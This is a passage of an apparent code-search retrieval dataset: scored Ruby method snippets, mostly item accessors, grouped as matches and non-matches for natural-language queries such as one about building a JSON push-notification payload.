"docid": "8c91bf91d660985a3a59d4f0f5ab7394",
"score": "0.6380337",
"text": "def item\n Item.find_by_id(@item_id)\n end",
"title": ""
},
{
"docid": "b4186aa69ebc777065a55acbffae1438",
"score": "0.63751",
"text": "def name\n\t\tself.item.name\n\tend",
"title": ""
},
{
"docid": "a53fa02c2e251b45782a7fd8a90bad1c",
"score": "0.6354518",
"text": "def item\n @items ||= [1]\n @items.shift # rubocop:disable RSpec/InstanceVariable\n end",
"title": ""
},
{
"docid": "54292953752c723100f262b6822ee23f",
"score": "0.63204044",
"text": "def original_item\n @original_item\n end",
"title": ""
},
{
"docid": "8111a87d89f74412f9670c4e18906154",
"score": "0.6313853",
"text": "def selected_item\n @items[@selected]\n end",
"title": ""
},
{
"docid": "e00d46df19f26340573fba5c99f6871c",
"score": "0.62943894",
"text": "def item_id\n self[:item_id]\n end",
"title": ""
},
{
"docid": "0aa4f4f0a6280ef5e33e07d85907d7d9",
"score": "0.62625366",
"text": "def item_number\n self[:item_number]\n end",
"title": ""
},
{
"docid": "81ccbef25a3767246d7de81eb63db35a",
"score": "0.6259228",
"text": "def item\n @item ||= Plaid::Item.new(self)\n end",
"title": ""
},
{
"docid": "81ccbef25a3767246d7de81eb63db35a",
"score": "0.6259228",
"text": "def item\n @item ||= Plaid::Item.new(self)\n end",
"title": ""
},
{
"docid": "8748bc3d9e21809f6ac38b70a685b651",
"score": "0.6248546",
"text": "def item\n begin\n return Item.find(self.item_id)\n rescue\n end\n end",
"title": ""
},
{
"docid": "98e760d0c550dde4c752d31b8b39237b",
"score": "0.6247643",
"text": "def item_class; end",
"title": ""
},
{
"docid": "86084340ce546cdd33ae4e114769c638",
"score": "0.6237663",
"text": "def raw\n @item\n end",
"title": ""
},
{
"docid": "a8eee1012794dfcc0a1db6657c07e895",
"score": "0.6232731",
"text": "def get_item(item)\n\t\t\tItem.find_by_name(item)\n\t\tend",
"title": ""
},
{
"docid": "c64d3a407678c917e375c7361d4718e3",
"score": "0.6229868",
"text": "def item; @data[@index]; end",
"title": ""
},
{
"docid": "b1b6408caaf6e065f342c400324da11e",
"score": "0.6193962",
"text": "def base_item\n source_item\n end",
"title": ""
},
{
"docid": "ae08b6b6dfb5eda982aa89e48970a3af",
"score": "0.6189196",
"text": "def item_id\n end",
"title": ""
},
{
"docid": "855f8e66e843dda48f3e1e50f8367641",
"score": "0.6181706",
"text": "def current item\n case item\n when :query\n `location.query`\n when :fragment\n ` location.fragment`\n when :path\n `location.pathname`\n when :url\n `location.href`\n when :uri\n `location.uri`\n end\n\n end",
"title": ""
},
{
"docid": "80bcd3ddcbcf45eedde95493d520df28",
"score": "0.6180885",
"text": "def current\n item_at pos\n end",
"title": ""
},
{
"docid": "36bdcbba5d7710b978b110d15d4e0688",
"score": "0.61655325",
"text": "def item\n Item.find(id)\n end",
"title": ""
},
{
"docid": "61ef1ba30b29f1b00e4ee44997ffeb34",
"score": "0.6161039",
"text": "def generate_item(item) \n item\n end",
"title": ""
},
{
"docid": "a2f8a65202175147550b0d97968589be",
"score": "0.6146259",
"text": "def current_item\n @current_item ||= find_current_carrousel_item\n end",
"title": ""
},
{
"docid": "70598f2afc46cb528ea714c761945ab1",
"score": "0.61435175",
"text": "def get_item(index)\n @get_items[index]\n end",
"title": ""
},
{
"docid": "00dff938ae8bde60ddde5b66c404952a",
"score": "0.6134611",
"text": "def item\n @item ||= Item.new(full_response[\"Item\"])\n end",
"title": ""
},
{
"docid": "30aa291f39c86c1dbd89b0eddeab9148",
"score": "0.6126217",
"text": "def first_item\n items.first\n end",
"title": ""
},
{
"docid": "30aa291f39c86c1dbd89b0eddeab9148",
"score": "0.6126217",
"text": "def first_item\n items.first\n end",
"title": ""
},
{
"docid": "62a9fb2928af89c7279f0a8dec7d48cd",
"score": "0.6095371",
"text": "def peek\n @items[0]\n end",
"title": ""
},
{
"docid": "eb251ac8634980e3b441238f0ae02f2c",
"score": "0.6091996",
"text": "def set_item\n @item\n end",
"title": ""
},
{
"docid": "17daa7350f826c51b498ad0bde523ccb",
"score": "0.609006",
"text": "def first_item\n items.first\n end",
"title": ""
},
{
"docid": "9ec11e9b298c25813bb48e74c8780f26",
"score": "0.60867",
"text": "def item=(_arg0); end",
"title": ""
},
{
"docid": "db67c9fb0509f65ac6e188f9a339b5af",
"score": "0.6081654",
"text": "def generate_item(item)\n item\n end",
"title": ""
},
{
"docid": "db67c9fb0509f65ac6e188f9a339b5af",
"score": "0.6081654",
"text": "def generate_item(item)\n item\n end",
"title": ""
},
{
"docid": "db67c9fb0509f65ac6e188f9a339b5af",
"score": "0.6081654",
"text": "def generate_item(item)\n item\n end",
"title": ""
},
{
"docid": "db67c9fb0509f65ac6e188f9a339b5af",
"score": "0.60803676",
"text": "def generate_item(item)\n item\n end",
"title": ""
},
{
"docid": "0a85fae2575c0ba24f0b3e46fe259a46",
"score": "0.607789",
"text": "def item(item_index)\n @data[item_index]\n end",
"title": ""
},
{
"docid": "3d4e00b89f4235c4a2f24537fe5941dd",
"score": "0.6073659",
"text": "def item_name\n name\n end",
"title": ""
},
{
"docid": "1f3a9313f8147272fb82d40a426053c1",
"score": "0.60666764",
"text": "def get(item)\n @items[item]\n end",
"title": ""
},
{
"docid": "20e763a306149a6ebc4b08e484c21370",
"score": "0.6061678",
"text": "def current\n\n # current should return the current ID or object hash\n\n current_id = nil\n\n if @current_item\n if @index\n current_id = @current_item[ 1 ]\n else\n current_id = @current_item[ 0 ]\n end\n end\n\n return current_id\n\n end",
"title": ""
},
{
"docid": "2ce4cd6d368f14ddd12b6477021093fd",
"score": "0.6034397",
"text": "def item\n fetch('games.dota.item')\n end",
"title": ""
},
{
"docid": "823dca93e6f3f39d1ed7cf7f246812b8",
"score": "0.60276484",
"text": "def getCurrentItem\n return @scroll_field.getCurrent\n end",
"title": ""
},
{
"docid": "e3c1e0599f23ea62d50682524e1e45b6",
"score": "0.60229653",
"text": "def use\n @item.use\n end",
"title": ""
},
{
"docid": "8247badef3c747e6549a2642f7bc9b8e",
"score": "0.60108274",
"text": "def value_for_item(it)\n it.data[uuid]\n end",
"title": ""
},
{
"docid": "514d460c99e60d5a3ec68418201d8fdc",
"score": "0.59996575",
"text": "def get_item i\n @items[i]\n end",
"title": ""
},
{
"docid": "c0728b61cb91b92c1106e2a7105dc525",
"score": "0.5987939",
"text": "def item\n fetch('tarkov.items')\n end",
"title": ""
},
{
"docid": "77211328160f3434817482f8de838a39",
"score": "0.5982886",
"text": "def list_item\n self.name\n end",
"title": ""
},
{
"docid": "b9ff182b36cbcb466163b7e8bb431220",
"score": "0.59792525",
"text": "def get_item_at(position)\n # TODO Stubbed - Required definition and implementation\n end",
"title": ""
},
{
"docid": "b10f91c22655b6fc316d47a7ad3cf85f",
"score": "0.597546",
"text": "def use_item()\n\t\treturn @pocket.use_item()\n\tend",
"title": ""
},
{
"docid": "d530beb7f1f0da92d092218e5a9794e7",
"score": "0.5967095",
"text": "def get_item(iter)\n return iter[ItemColumn]\n end",
"title": ""
},
{
"docid": "1377311c11b1aad223d68183135dba5f",
"score": "0.5967029",
"text": "def item_obtained(item_class); fail NotImplementedError; end",
"title": ""
},
{
"docid": "51c1b57d2594bea0b41aa70b47b72e73",
"score": "0.59658676",
"text": "def ebay_item\n ebay_items.first\n end",
"title": ""
},
{
"docid": "582f70acbf039e53bb34d47a4c891cd6",
"score": "0.5943026",
"text": "def helper_item █ item(&block); end",
"title": ""
},
{
"docid": "05f5276d8fdd28a06299357f2c687ac0",
"score": "0.5927284",
"text": "def method_missing(key)\n @item[key]\n end",
"title": ""
},
{
"docid": "88e7f6b6698da85d91c3948183d6fdff",
"score": "0.5922929",
"text": "def item(index = @index)\n @items[index]\n end",
"title": ""
},
{
"docid": "2f7805a15e7d8f2d5da21607b55db34d",
"score": "0.5920593",
"text": "def process item\n end",
"title": ""
},
{
"docid": "2c6e6831b8a5252ccebce303650243ea",
"score": "0.5919599",
"text": "def item_borrowed\n\t\tItem.where(id: item_id).first\n\tend",
"title": ""
},
{
"docid": "7a044f31c1e8465cb93193eb8eb32965",
"score": "0.5912094",
"text": "def test_item\n\t\titem = @api_empty.get_item_info(4336)\n\tend",
"title": ""
},
{
"docid": "474dc15b57a0cc90dc055e2ef1c7133f",
"score": "0.5908017",
"text": "def reference\n [:item_rep, item.identifier, name]\n end",
"title": ""
},
{
"docid": "757e7157a1c9bf41c5ecb89b6974bbaf",
"score": "0.5900372",
"text": "def get_item(index)\n @items[index]\n end",
"title": ""
},
{
"docid": "c0bdd53f85c16893aa000a7862de1bf0",
"score": "0.58828014",
"text": "def first\n \t@items.first\n end",
"title": ""
},
{
"docid": "de47e7faff4b83d770f0d996abf2db67",
"score": "0.58822125",
"text": "def name\n @item[\"name\"]\n end",
"title": ""
},
{
"docid": "618c84374f504a9e54dac34a23e76228",
"score": "0.58806837",
"text": "def item\n @list[@index][:symbol];\n end",
"title": ""
},
{
"docid": "5e0628a7e20c96944ef3741d1c04da67",
"score": "0.58792156",
"text": "def item\n return @item if @item\n if @return_attributes\n @item = Hash.new\n else\n @item = get_constant(attributes[:class] ? attributes.delete(:class) : @target).new\n end\n end",
"title": ""
},
{
"docid": "8d9fcedf1eeef2c5ae128b46e29b859b",
"score": "0.5876225",
"text": "def item_id\n read(\"item_id\")\n end",
"title": ""
},
{
"docid": "438951537f811c1f5484793e166fe080",
"score": "0.5871236",
"text": "def [](i)\n super :get_item_data, i\n end",
"title": ""
},
{
"docid": "75cf635f2bb959fd95f25713e3106b4c",
"score": "0.58593315",
"text": "def get_item(x)\n\t\t@get_items.fetch(x)\n\tend",
"title": ""
},
{
"docid": "cf9915036d9fbf4a6c4fa7736720870d",
"score": "0.58590174",
"text": "def value()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "cf9915036d9fbf4a6c4fa7736720870d",
"score": "0.58590174",
"text": "def value()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "cf9915036d9fbf4a6c4fa7736720870d",
"score": "0.58590174",
"text": "def value()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "cf9915036d9fbf4a6c4fa7736720870d",
"score": "0.58590174",
"text": "def value()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "98df3be4a0f5f5a6abc4a64f51f09bd5",
"score": "0.5856523",
"text": "def item(index = self.index)\n @data[index]\n end",
"title": ""
},
{
"docid": "99adbab46e23a91b29ef1d0f43941b06",
"score": "0.5854934",
"text": "def node\n item.node\n end",
"title": ""
},
{
"docid": "71fadbbd09f7e5b6854c7f6ea7e42ed8",
"score": "0.58502156",
"text": "def get_item(x)\r\n p @list.at(x)\r\n end",
"title": ""
}
] |
83a089ceb30ff47442f8ea70e805911e
|
Clean up after unsubscribing
|
[
{
"docid": "5d862213f3b582aedef1b4a810b4020b",
"score": "0.0",
"text": "def unsubscribed\n @subscription_ids.each do |sid|\n TodoManagerSchema.subscriptions.delete_subscription(sid)\n end\n end",
"title": ""
}
] |
[
{
"docid": "db6d3fbf672cdd76bd9850de5fa58e72",
"score": "0.78038883",
"text": "def unsubscribed\n # Any cleanup needed when channel is unsubscribed\n end",
"title": ""
},
{
"docid": "db6d3fbf672cdd76bd9850de5fa58e72",
"score": "0.78038883",
"text": "def unsubscribed\n # Any cleanup needed when channel is unsubscribed\n end",
"title": ""
},
{
"docid": "db6d3fbf672cdd76bd9850de5fa58e72",
"score": "0.78038883",
"text": "def unsubscribed\n # Any cleanup needed when channel is unsubscribed\n end",
"title": ""
},
{
"docid": "db6d3fbf672cdd76bd9850de5fa58e72",
"score": "0.78038883",
"text": "def unsubscribed\n # Any cleanup needed when channel is unsubscribed\n end",
"title": ""
},
{
"docid": "db6d3fbf672cdd76bd9850de5fa58e72",
"score": "0.78038883",
"text": "def unsubscribed\n # Any cleanup needed when channel is unsubscribed\n end",
"title": ""
},
{
"docid": "3f3af0698afb4be7724e1671081a98f6",
"score": "0.7630067",
"text": "def unsubscribed; end",
"title": ""
},
{
"docid": "2d586654aaeeda4464d1619651b4fbb2",
"score": "0.7530519",
"text": "def unsubscribe\n gate.synchronize do\n @unsubscribed = true\n @observers = nil\n @error = nil\n @value = nil\n end\n end",
"title": ""
},
{
"docid": "c3f641c848b190cbc8e3ac04ae4e42fa",
"score": "0.7495292",
"text": "def unsubscribe; end",
"title": ""
},
{
"docid": "725040132e7be204e8cfe3b440dbf384",
"score": "0.74430275",
"text": "def unsubscribe\n @gate.synchronize do\n @disposed = true\n @observers = nil\n end\n end",
"title": ""
},
{
"docid": "4a243b094ca4612e1c183a8b2e15e861",
"score": "0.7414596",
"text": "def unsubscribed\n end",
"title": ""
},
{
"docid": "7155b45634d6ee219560833a01e52ff7",
"score": "0.73003733",
"text": "def unsubscribed\n\n end",
"title": ""
},
{
"docid": "dc73f838c90c416bafc04a4e5081da43",
"score": "0.7220819",
"text": "def clear\n @dealing_platform.streaming.remove_subscriptions @subscriptions.values\n\n @subscriptions = {}\n @on_data_callbacks = []\n end",
"title": ""
},
{
"docid": "1dcee860fcea64149642d0e3b5c17edc",
"score": "0.7181313",
"text": "def teardown\n @@connections.delete connection_id\n unsubscribe_all\n end",
"title": ""
},
{
"docid": "a31f8495c479218c2ebc4002b819b8b9",
"score": "0.71703714",
"text": "def unsubscribed\n stop_all_streams\n end",
"title": ""
},
{
"docid": "a31f8495c479218c2ebc4002b819b8b9",
"score": "0.71703714",
"text": "def unsubscribed\n stop_all_streams\n end",
"title": ""
},
{
"docid": "578256519630000b46670f72eeccf291",
"score": "0.71522915",
"text": "def clear\n currentSubscriptions = nil\n \n @gate.synchronize do\n currentSubscriptions = @subscriptions\n @subscriptions = []\n @length = 0\n end\n currentSubscriptions.each {|subscription| subscription.unsubscribe}\n end",
"title": ""
},
{
"docid": "a101c05cbfb74b7fa5d02c5dde4de1cc",
"score": "0.70867354",
"text": "def destroy\n return if @destroyed\n reliable_pub_sub.global_unsubscribe\n\n @mutex.synchronize do\n @subscriptions ||= {}\n @destroyed = true\n end\n @subscriber_thread.join if @subscriber_thread\n timer.stop\n end",
"title": ""
},
{
"docid": "be2853c8c752ae7c0d62eae9286ff662",
"score": "0.6966354",
"text": "def unsubscribed\n super\n # TODO: abort any pending requests\n end",
"title": ""
},
{
"docid": "736ca215ff54c31cef68ab90e208256c",
"score": "0.69659024",
"text": "def unsubscribe_all!\n @subscriptions_all.clear\n @subscriptions_regexp.clear\n @subscriptions_val.clear\n end",
"title": ""
},
{
"docid": "1ea530cc605b1a3e1c0217cd1ab74c73",
"score": "0.6962484",
"text": "def unsubscribed\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "186f23a9890f9afa389aa8a6e889c293",
"score": "0.69591624",
"text": "def unsubscribe_all\n @subscribers.clear if defined? @subscribers\n end",
"title": ""
},
{
"docid": "2bed9401effa09094d86dc5e52f21ed6",
"score": "0.6954924",
"text": "def clear_subscribers\n @subscribers = []\n end",
"title": ""
},
{
"docid": "2bed9401effa09094d86dc5e52f21ed6",
"score": "0.6954924",
"text": "def clear_subscribers\n @subscribers = []\n end",
"title": ""
},
{
"docid": "46e07cb7df235d0970545b029b9973fc",
"score": "0.6926913",
"text": "def cleanup\n\t\tsuper\n\n\t\tdisconnect\n\tend",
"title": ""
},
{
"docid": "c4c086f9c86ef47330b42ffc1eb06439",
"score": "0.689715",
"text": "def cleanup\n\t\tsuper\n\t\tdisconnect\n\tend",
"title": ""
},
{
"docid": "c4c086f9c86ef47330b42ffc1eb06439",
"score": "0.689715",
"text": "def cleanup\n\t\tsuper\n\t\tdisconnect\n\tend",
"title": ""
},
{
"docid": "87ccca4e4ca66d3795dd317442bf81ed",
"score": "0.68945235",
"text": "def unsubscribe\n @logger.warn(\"unsubscribing from keepalive and result queues\")\n @transport.unsubscribe\n end",
"title": ""
},
{
"docid": "b2cfa7c396f0a629ab1647343f976c18",
"score": "0.6860637",
"text": "def x_reset\n subscribers.each { |sub| ActiveSupport::Notifications.unsubscribe(sub.pattern) }\n end",
"title": ""
},
{
"docid": "d59b45a540e7899b20366bcf3c20e0bb",
"score": "0.6854341",
"text": "def unsubscribe\n currentSubscriptions = nil\n\n @gate.synchronize do\n unless @unsubscribed\n @unsubscribed = true\n currentSubscriptions = @subscriptions\n @subscriptions = []\n @length = 0\n end\n end\n\n currentSubscriptions.each {|subscription| subscription.unsubscribe} if currentSubscriptions\n end",
"title": ""
},
{
"docid": "aab0637a7145e7dfb066491443e01bc3",
"score": "0.6828085",
"text": "def cleanup\n super\n disconnect\n end",
"title": ""
},
{
"docid": "aab0637a7145e7dfb066491443e01bc3",
"score": "0.6828085",
"text": "def cleanup\n super\n disconnect\n end",
"title": ""
},
{
"docid": "1072735002f428f2e5a73b0247935609",
"score": "0.67725796",
"text": "def cleanup!; end",
"title": ""
},
{
"docid": "1072735002f428f2e5a73b0247935609",
"score": "0.67725796",
"text": "def cleanup!; end",
"title": ""
},
{
"docid": "1072735002f428f2e5a73b0247935609",
"score": "0.67725796",
"text": "def cleanup!; end",
"title": ""
},
{
"docid": "cdb14567173f665d6be4d40bb38459e3",
"score": "0.6771237",
"text": "def unsubscribe\n end",
"title": ""
},
{
"docid": "c6143ee0e74f7c1ece0ace776aff8dd5",
"score": "0.67393935",
"text": "def cleanup\n # Nothing to do!\n end",
"title": ""
},
{
"docid": "e3c6827e5a881516574dac64ef393dc3",
"score": "0.67357135",
"text": "def unsubscribe( callback )\n\t\tself.subscriptions.keys.each do |pattern|\n\t\t\tcbset = self.subscriptions[ pattern ]\n\t\t\tcbset.delete( callback )\n\t\t\tself.subscriptions.delete( pattern ) if cbset.empty?\n\t\tend\n\tend",
"title": ""
},
{
"docid": "515c354c64b5bbf8576c5f040ef7e440",
"score": "0.67352873",
"text": "def on_unsubscribed(&block) @on_unsubscribed_callback = block end",
"title": ""
},
{
"docid": "4fdaa581a2c3c6124bcbfbbb266d7049",
"score": "0.67157876",
"text": "def clear\n @subscribers.clear\n end",
"title": ""
},
{
"docid": "e382f92197b499b91c58e91ba9215000",
"score": "0.6670978",
"text": "def unsubscribe\n end",
"title": ""
},
{
"docid": "5f085846ac5364e4cd89344e6a052a0a",
"score": "0.6660334",
"text": "def cleanup\n\t\t\tself.framework.events.remove_session_subscriber(self)\n\t\t\tremove_console_dispatcher('notify')\n\t\tend",
"title": ""
},
{
"docid": "d8ed4ff079f50dbb7e42b94b76987e73",
"score": "0.6659843",
"text": "def remove_subscriptions\n subscriptions.map(&:class).each(&method(:remove_subscription))\n end",
"title": ""
},
{
"docid": "aeb9c5682d24b55b73bb73877a593c19",
"score": "0.6653",
"text": "def cleanup; end",
"title": ""
},
{
"docid": "aeb9c5682d24b55b73bb73877a593c19",
"score": "0.6653",
"text": "def cleanup; end",
"title": ""
},
{
"docid": "aeb9c5682d24b55b73bb73877a593c19",
"score": "0.6653",
"text": "def cleanup; end",
"title": ""
},
{
"docid": "aeb9c5682d24b55b73bb73877a593c19",
"score": "0.6653",
"text": "def cleanup; end",
"title": ""
},
{
"docid": "3b48e48c0500631aae79c24588e0662a",
"score": "0.6650943",
"text": "def cleanup\n nil\n end",
"title": ""
},
{
"docid": "b7c0359c4b35bd86aaad94d85ce0cf0f",
"score": "0.6644921",
"text": "def cleanup(*) end",
"title": ""
},
{
"docid": "356755c59307e0cf58bd1dd7d02d33b3",
"score": "0.6636613",
"text": "def unsubscribed\n __debug_cable(__method__)\n end",
"title": ""
},
{
"docid": "667cb161654617810a132b8f997a60ee",
"score": "0.6632259",
"text": "def unsubscribe(subscription)\n end",
"title": ""
},
{
"docid": "9659341d5b9b799e9292c27f2a0a89cd",
"score": "0.6589847",
"text": "def unsubscribe\n subscribe(action: :unsub)\n end",
"title": ""
},
{
"docid": "e28db214100dd3238bf3cda41c873792",
"score": "0.65710557",
"text": "def cleanup\n handle.free\n end",
"title": ""
},
{
"docid": "e28db214100dd3238bf3cda41c873792",
"score": "0.65710557",
"text": "def cleanup\n handle.free\n end",
"title": ""
},
{
"docid": "adf0b5fce36a8ff04d64e9c81d6e6d98",
"score": "0.6566824",
"text": "def delete_observers\n @bus.delete channel\n @subscribers.clear\n end",
"title": ""
},
{
"docid": "bec483e843a4b11424075344a8f93cd9",
"score": "0.652875",
"text": "def unsubscribe\n @stopped = true\n end",
"title": ""
},
{
"docid": "451ad17c8af8614470f3c025c0b4cf18",
"score": "0.65282613",
"text": "def cleanup()\n # stub\n end",
"title": ""
},
{
"docid": "43f80604a4d9537a487e7d3d08fe9646",
"score": "0.65257996",
"text": "def cleanup\n end",
"title": ""
},
{
"docid": "43f80604a4d9537a487e7d3d08fe9646",
"score": "0.65257996",
"text": "def cleanup\n end",
"title": ""
},
{
"docid": "43f80604a4d9537a487e7d3d08fe9646",
"score": "0.65257996",
"text": "def cleanup\n end",
"title": ""
},
{
"docid": "43f80604a4d9537a487e7d3d08fe9646",
"score": "0.65257996",
"text": "def cleanup\n end",
"title": ""
},
{
"docid": "43f80604a4d9537a487e7d3d08fe9646",
"score": "0.65257996",
"text": "def cleanup\n end",
"title": ""
},
{
"docid": "43f80604a4d9537a487e7d3d08fe9646",
"score": "0.65257996",
"text": "def cleanup\n end",
"title": ""
},
{
"docid": "8277d2bcb74c930552b795b703ef6a79",
"score": "0.6524679",
"text": "def cleanup\n end",
"title": ""
},
{
"docid": "8277d2bcb74c930552b795b703ef6a79",
"score": "0.6524679",
"text": "def cleanup\n end",
"title": ""
},
{
"docid": "f2aa224c173ae8631d065a2c78228e0f",
"score": "0.65231353",
"text": "def cleanup\n end",
"title": ""
},
{
"docid": "f2aa224c173ae8631d065a2c78228e0f",
"score": "0.65231353",
"text": "def cleanup\n end",
"title": ""
},
{
"docid": "d88e3069026c1c033ac281111a08a4ba",
"score": "0.65215904",
"text": "def destroy\n if @finalizer\n @finalizer.call\n ObjectSpace.undefine_finalizer(self)\n end\n @ptr = @finalizer = nil\n \n @read_polls = @write_polls = \\\n @signal_polls = @timer_polls = nil\n \n self\n end",
"title": ""
},
{
"docid": "8edc5111f63dc2575b2b15570f0dcf9a",
"score": "0.6516234",
"text": "def unsubscribe_all\n @sub_tracker.unsubscribe_all\n end",
"title": ""
},
{
"docid": "a78ba8c946d149dcbd46b4496c9ed8a1",
"score": "0.6505745",
"text": "def cleanup\r\n\t\t\tself.framework.events.remove_session_subscriber(self)\r\n\t\t\tremove_console_dispatcher('shellegram')\r\n\t\tend",
"title": ""
},
{
"docid": "4b8748c23741c0be04be6d581ccf12e9",
"score": "0.6505388",
"text": "def shutdown\n @subscribers.each(&:stop)\n end",
"title": ""
},
{
"docid": "97d0ed9353ad7e9aad1533f479a23eda",
"score": "0.6503302",
"text": "def unsubscribe_all_instances\n receives_hash.each_pair do |pattern, actions|\n Donaghy.logger.warn \"unsubscribing all instances of #{to_s} from #{[Donaghy.default_queue_name, self.name]}\"\n EventUnsubscriber.new.unsubscribe(pattern, Donaghy.default_queue_name, self.name)\n end\n end",
"title": ""
},
{
"docid": "caaa82b911d260b8ef5500f5cb117b34",
"score": "0.6491751",
"text": "def cleanup\n end",
"title": ""
},
{
"docid": "caaa82b911d260b8ef5500f5cb117b34",
"score": "0.6491751",
"text": "def cleanup\n end",
"title": ""
},
{
"docid": "387307f04016ce5f12f43a46b8ef9592",
"score": "0.6478445",
"text": "def unsubscribe_all(channel, data)\n info 'clearing connections'\n shutdown\n end",
"title": ""
},
{
"docid": "58816859a36e242d3dbfeb950f67dccb",
"score": "0.6451507",
"text": "def cleanup\n\t\t\tself.framework.events.remove_session_subscriber(self)\n\t\t\tremove_console_dispatcher('growl')\n\t\tend",
"title": ""
},
{
"docid": "ed2830a2a2badee2e0a09108f40d04d2",
"score": "0.6445512",
"text": "def unsubscribe( callback )\n\t\t@subscriptions.values.each {|cbset| cbset.delete(callback) }\n\tend",
"title": ""
},
{
"docid": "70d5fb9284c155728b468ea5c7f81bd4",
"score": "0.6443021",
"text": "def unsubscribe\n perform_unsubscribe\n reload!\n end",
"title": ""
},
{
"docid": "70d5fb9284c155728b468ea5c7f81bd4",
"score": "0.6443021",
"text": "def unsubscribe\n perform_unsubscribe\n reload!\n end",
"title": ""
},
{
"docid": "54935c2590c6a93b4fce9c057d5466b9",
"score": "0.6440223",
"text": "def cleanup()\n stop(nil, nil)\n end",
"title": ""
},
{
"docid": "2dcb0c10a48c072440bc739d3105c4f3",
"score": "0.6439766",
"text": "def teardown\n @collections = nil\n end",
"title": ""
},
{
"docid": "cd7994c4408db294e9c57aec9da3ede5",
"score": "0.6439214",
"text": "def cleanup\n\t\tsuper\n\t\tdisconnect_udp\n\tend",
"title": ""
},
{
"docid": "7cb1d2f37ae3ffefe156f00905738c11",
"score": "0.64318466",
"text": "def teardown\n if @subscription\n @subscription.terminate\n @subscription = nil\n end\n\n if @exec_session\n exec_terminate\n @exec_session = nil\n end\n end",
"title": ""
},
{
"docid": "503079298b359f4e1bbddfccb98587a6",
"score": "0.64017063",
"text": "def remove_subscription(observer)\n subscriptions.delete_if { |ob| ob.class == observer }\n end",
"title": ""
},
{
"docid": "3722233b59918bb0fd53fca27dad27c1",
"score": "0.6391207",
"text": "def teardown\n #TODO: add @Stats disconnect code\n #@Stats = nil\n end",
"title": ""
},
{
"docid": "07a36d9668ffc7d04e1750d5d3fc0bb0",
"score": "0.6375975",
"text": "def free\n super\n @filter.clear\n @conn.disconnect!\n end",
"title": ""
},
{
"docid": "e3f897d7dd05cb333d7556376e67f907",
"score": "0.6373148",
"text": "def unsubscribe\n old = nil\n @gate.synchronize do\n unless @unsubscribed\n @unsubscribed = true\n old = @current\n @current = nil\n end\n end\n\n old.unsubscribe if old\n end",
"title": ""
},
{
"docid": "c7e60af6a2cb0a0ca2fd87966646a1cc",
"score": "0.63725287",
"text": "def cleanup\n Monitor.cleanup\n end",
"title": ""
},
{
"docid": "c0cecf6a1ab03df50c571d95245a0612",
"score": "0.63589334",
"text": "def cleanup\n stop\n end",
"title": ""
},
{
"docid": "5554f1df53758f45fd3c42beea74c07c",
"score": "0.63425773",
"text": "def _reset_subscriptions(_, socket, *)\n rooms.each_value do |room|\n p [:unsubscribe, room.id, socket.object_id]\n room.delete(socket) \n end\n end",
"title": ""
},
{
"docid": "ed48bbe12465c22eaac80b85c9aa466c",
"score": "0.63380116",
"text": "def unsubscribe\n @scheduler.schedule lambda {\n unless @subscription.nil?\n @subscription.unsubscribe\n @subscription = nil\n end\n }\n end",
"title": ""
},
{
"docid": "5c7da3050e315fd90c0e6bca2423746c",
"score": "0.6333705",
"text": "def delete_observers; end",
"title": ""
},
{
"docid": "5c7da3050e315fd90c0e6bca2423746c",
"score": "0.6333705",
"text": "def delete_observers; end",
"title": ""
},
{
"docid": "c7cb6c80a00b0d6bcdcec4450bd3b760",
"score": "0.6321904",
"text": "def unsubscribe\n pubsub.subscriptions(default_host) do |m|\n m[:subscribed] && m[:subscribed].each do |s|\n pubsub.unsubscribe(s[:node], nil, s[:subid], default_host, &callback_logging(__method__, s[:node], s[:subid]))\n MPSubscription.inject(Time.now.to_f, jid, 'leave', s[:node]) if OmfCommon::Measure.enabled?\n end\n end\n end",
"title": ""
},
{
"docid": "c7cb6c80a00b0d6bcdcec4450bd3b760",
"score": "0.6321904",
"text": "def unsubscribe\n pubsub.subscriptions(default_host) do |m|\n m[:subscribed] && m[:subscribed].each do |s|\n pubsub.unsubscribe(s[:node], nil, s[:subid], default_host, &callback_logging(__method__, s[:node], s[:subid]))\n MPSubscription.inject(Time.now.to_f, jid, 'leave', s[:node]) if OmfCommon::Measure.enabled?\n end\n end\n end",
"title": ""
},
{
"docid": "f23eb79518adf44c2459bd88fc6a928b",
"score": "0.6315507",
"text": "def drop_all!\n @subscribers = Hash.new(Array.new)\n end",
"title": ""
},
{
"docid": "841f80eed216362123a903aa292ee14f",
"score": "0.63112944",
"text": "def unsubscribe_all(_channel, json_data)\n log_debug \"#{self.class} runs 'unsubscribe_all' method\"\n CelluloidPubsub::Registry.channels.dup.pmap do |channel|\n unsubscribe_clients(channel, json_data)\n end\n log_debug 'clearing connections'\n shutdown\n end",
"title": ""
},
{
"docid": "ba74b1a8e9f4c8178b2446eb30dc7b0a",
"score": "0.6309636",
"text": "def cleanup\n super\n end",
"title": ""
},
{
"docid": "ba74b1a8e9f4c8178b2446eb30dc7b0a",
"score": "0.6309636",
"text": "def cleanup\n super\n end",
"title": ""
},
{
"docid": "9984f8ce66b63640e656abca4aafaf32",
"score": "0.6308022",
"text": "def unsubscribe\n synchronize do\n return unless @subscription\n @subscription.exit if @subscription.is_a?(Thread)\n @subscription = nil\n end\n end",
"title": ""
},
{
"docid": "b290efe0ec3f76d98b0781f001d64e64",
"score": "0.6306839",
"text": "def cleanup()\n\t\tcollection.remove({:complete=>true});\n\tend",
"title": ""
},
{
"docid": "91fb8526058284619f80858b6ebc6ba1",
"score": "0.6296792",
"text": "def cleanup\r\n super\r\n end",
"title": ""
}
] |
e001251b12ba504d8044f6b0a0ba8d03
|
Return json payload +text+:: Text you want to send +options+:: Options you want on payload +env+:: Environments :prod, :dev +type+:: Notification type :normal, :silent, :nosound
|
[
{
"docid": "0df77706082da80c7736ec51b394c907",
"score": "0.7653178",
"text": "def message(text, options = {}, env = :prod, type = :normal)\n if type == :normal\n data = normal_notification(text, options)\n elsif type == :silent\n data = silent_notification(text, options)\n elsif type == :nosound\n data = nosound_notification(text, options)\n end\n gcm_payload = gcm_notification(text, options)\n return dev_json(data, gcm_payload) if env == :dev\n prod_json(data, gcm_payload)\n end",
"title": ""
}
] |
[
{
"docid": "3d46e53f6336464d2bac321d5e3d1b97",
"score": "0.58228374",
